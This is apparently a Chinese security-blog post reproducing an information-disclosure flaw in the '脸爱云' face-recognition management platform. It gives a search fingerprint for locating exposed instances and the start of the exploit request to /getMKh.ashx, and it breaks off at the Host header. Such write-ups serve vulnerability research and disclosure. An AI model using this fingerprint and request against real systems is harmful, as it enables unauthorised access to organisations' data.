【漏洞复现】脸爱云getMKh 信息泄露漏洞

原创

devildollking
devildollking

熔城Sec

2026年9月23日 09:00
辽宁

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

免责声明

该公众号大部分文章来自作者日常学习笔记，也有部分文章是经过作者授权和其他公众号白名单转载，未经授权，严禁转载，如需转载，联系开白。请勿利用文章内的相关技术从事非法测试，如因此产生的一切不良后果与文章作者和本公众号无关。公众号现在只对常读和星标的公众号才展示大图推送，建议把公众号设为星标，否则可能就看不到啦！感谢各位师傅。

漏洞描述

脸爱云-getMKh-信息泄露，导致数据信息泄露或者导致服务器被控制。

资产收集

title==\"欢迎使用脸爱云 一脸通智慧管理平台\" || body=\"View/UserReserved/UserReservedTest.aspx\"

漏洞复现

GET /getMKh.ashx?TyName=Inyt HTTP/1.1Host: